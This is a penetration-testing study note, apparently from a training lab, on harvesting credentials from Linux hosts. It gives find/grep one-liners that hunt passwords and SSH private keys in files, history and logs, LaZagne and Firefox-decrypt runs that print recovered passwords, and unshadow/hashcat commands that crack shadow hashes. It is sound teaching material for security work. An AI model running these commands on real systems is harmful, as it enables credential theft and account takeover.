Linux Pentest

Linux Authentication

There are several sources that can provide us with credentials that we put in four categories. These include, but are not limited to:

Files	History	Memory	Key-Rings
Configs	Command-line History	In-memory Processing	SSH Keys
Logs	Browser stored credentials
Cache
Databases
Notes
Scripts
Source codes
Cronjobs

Differ from Windows Authentication, Linux depends mostly on File. Therefore, it is crucial to keep this concept in mind and search, find and filter the appropriate files according to our requirements.

Files

Some useful commands to enumerate files:

# Configuration Files
for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done
 
# Credentials in Configuration Files
for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc\|lib");do echo -e "\nFile: " $i; grep "user\|password\|pass" $i 2>/dev/null | grep -v "\#";done
 
# Hunting for encoded files
for ext in $(echo ".xls .xls* .xltx .csv .od* .doc .doc* .pdf .pot .pot* .pp*");do echo -e "\nFile extension: " $ext; find / -name *$ext 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done
 
# Databases
for l in $(echo ".sql .db .*db .db*");do echo -e "\nDB File extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share\|man";done
 
# Notes
find /home/* -type f -name "*.txt" -o ! -name "*.*"
 
# Scripts
for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share";done
 
# Cronjobs
cat /etc/crontab
ls -la /etc/cron.*/

SSH Keys

SSH keys are used to authenticate users to remote servers. They are stored in the ~/.ssh/ directory. The following commands can be used to find SSH keys:

# Find Private keys
grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1"
 
# Find Public keys
grep -rnw "ssh-rsa" /home/* 2>/dev/null | grep ":1"

History

The command-line history can be a goldmine for finding credentials. The following commands can be used to find command-line history:

# Bash History
tail -n5 /home/*/.bash*
 
# Logs
for i in $(ls /var/log/* 2>/dev/null);do GREP=$(grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null); if [[ $GREP ]];then echo -e "\n#### Log file: " $i; grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null;fi;done

Memory and Cache

For this, we can use a powerful tool similar to the one on Windows call LaZagne:

sudo python2.7 laZagne.py all
 
|====================================================================|
|                                                                    |
|                        The LaZagne Project                         |
|                                                                    |
|                          ! BANG BANG !                             |
|                                                                    |
|====================================================================|
 
------------------- Shadow passwords -----------------
 
[+] Hash found !!!
Login: systemd-coredump
Hash: !!:18858::::::
 
[+] Hash found !!!
Login: sambauser
Hash: $6$wgK4tGq7Jepa.V0g$QkxvseL.xkC3jo682xhSGoXXOGcBwPLc2CrAPugD6PYXWQlBkiwwFs7x/fhI.8negiUSPqaWyv7wC8uwsWPrx1:18862:0:99999:7:::
 
[+] Password found !!!
Login: cry0l1t3
Password: WLpAEXFa0SbqOHY
 
 
[+] 3 passwords have been found.
For more information launch it again with the -v option
 
elapsed time = 3.50091600418

Browsers

Browsers store the passwords saved by the user in an encrypted form locally on the system to be reused. For example, the Mozilla Firefox browser stores the credentials encrypted in a hidden folder for the respective user. These often include the associated field names, URLs, and other valuable information.

# Listing Firefox Profiles
ls -l .mozilla/firefox/ | grep default
 
drwx------ 11 cry0l1t3 cry0l1t3 4096 Jan 28 16:02 1bplpd86.default-release
drwx------  2 cry0l1t3 cry0l1t3 4096 Jan 28 13:30 lfx3lvhb.default
 
# Displaying the Logins.json file
cat .mozilla/firefox/1bplpd86.default-release/logins.json | jq .
 
{
  "nextId": 2,
  "logins": [
    {
      "id": 1,
      "hostname": "https://www.inlanefreight.com",
      "httpRealm": null,
      "formSubmitURL": "https://www.inlanefreight.com",
      "usernameField": "username",
      "passwordField": "password",
      "encryptedUsername": "MDoEEPgAAAA...SNIP...1liQiqBBAG/8/UpqwNlEPScm0uecyr",
      "encryptedPassword": "MEIEEPgAAAA...SNIP...FrESc4A3OOBBiyS2HR98xsmlrMCRcX2T9Pm14PMp3bpmE=",
      "guid": "{412629aa-4113-4ff9-befe-dd9b4ca388e2}",
      "encType": 1,
      "timeCreated": 1643373110869,
      "timeLastUsed": 1643373110869,
      "timePasswordChanged": 1643373110869,
      "timesUsed": 1
    }
  ],
  "potentiallyVulnerablePasswords": [],
  "dismissedBreachAlertsByLoginGUID": {},
  "version": 3
}

For encrypted passwords, Firefox Decrypt can be used, it requires python3.9 to run the latest version.

python3.9 firefox_decrypt.py
 
Select the Mozilla profile you wish to decrypt
1 -> lfx3lvhb.default
2 -> 1bplpd86.default-release
 
2
 
Website:   https://testing.dev.inlanefreight.com
Username: 'test'
Password: 'test'
 
Website:   https://www.inlanefreight.com
Username: 'cry0l1t3'
Password: 'FzXUxJemKm6g2lGh'

Alternatively, LaZagne can be used to extract the credentials from the browser if supported.

python3 laZagne.py browsers
 
|====================================================================|
|                                                                    |
|                        The LaZagne Project                         |
|                                                                    |
|                          ! BANG BANG !                             |
|                                                                    |
|====================================================================|
 
------------------- Firefox passwords -----------------
 
[+] Password found !!!
URL: https://testing.dev.inlanefreight.com
Login: test
Password: test
 
[+] Password found !!!
URL: https://www.inlanefreight.com
Login: cry0l1t3
Password: FzXUxJemKm6g2lGh
 
 
[+] 2 passwords have been found.
For more information launch it again with the -v option
 
elapsed time = 0.2310788631439209

Passwd, Shadow and Opasswd

The /etc/passwd file contains the user account information, while the /etc/shadow file contains the password information. The PAM library (pam_unix.so) can prevent reusing old passwords. The file where old passwords are stored is the /etc/security/opasswd.

# Unshadowing
unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashes
 
# Cracking
hashcat -m 1800 -a 0 /tmp/unshadowed.hashes /usr/share/wordlists/rockyou.txt